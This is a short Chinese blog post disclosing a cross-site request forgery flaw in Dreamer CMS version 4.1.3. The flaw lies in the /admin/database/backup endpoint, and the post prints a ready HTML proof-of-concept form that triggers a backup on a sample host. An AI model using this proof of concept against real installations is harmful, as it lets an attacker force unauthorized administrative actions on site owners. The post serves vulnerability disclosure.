梦想家内容管理系统（Dreamer CMS）跨站请求伪造漏洞

最新推荐文章于 2024-09-26 08:30:49 发布

飞扬的浩

最新推荐文章于 2024-09-26 08:30:49 发布

阅读量751

点赞数 10

文章标签：网络安全安全 web安全

版权声明：本文为博主原创文章，遵循 CC 4.0 BY-SA 版权协议，转载请附上原文出处链接和本声明。

本文链接：https://blog.csdn.net/qq_36759934/article/details/135434746

版权

梦想家内容管理系统（Dreamer CMS）跨站请求伪造漏洞

目标:GitHub - iteachyou-wjn/dreamer_cms: Dreamer CMS 梦想家内容发布系统采用流行的SpringBoot搭建，支持静态化、标签化建站。不需要专业的后台开发技能，会HTML就能建站，上手超简单；只需使用系统提供的标签就能轻松建设网站。全面支持各类表单字段，真正实现“0”代码建网站。

版本：4.1.3

通过组件/admin/database/backup发现包含跨站点请求伪造（CSRF）

创建poc

<html>  <body> <script>history.pushState('', '', '/')</script> <form action="http://192.168.247.186:8888/admin/database/backup"> <input type="hidden" name="tableName" value="system_adverts" /> <input type="submit" value="Submit request" /> </form> </body> </html>

成功

本文链接： https://www.黑客.wang/wen/22.html

关注

10
点赞
踩
9

收藏

觉得还不错? 一键收藏
打赏
0
评论
复制链接

分享到 QQ

分享到新浪微博

扫一扫

评论

被折叠的条评论为什么被折叠?

到【灌水乐园】发言

查看更多评论

添加红包

成就一亿技术人!

hope_wisdom

发出的红包

打赏作者

飞扬的浩 你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20

扫码支付：¥1

获取中

扫码支付

您的余额不足，请更换扫码支付或充值

实付元

使用余额支付

点击重新获取

扫码支付

钱包余额 0

抵扣说明：

1.余额是钱包充值的虚拟货币，按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载，可以购买VIP、付费专栏及课程。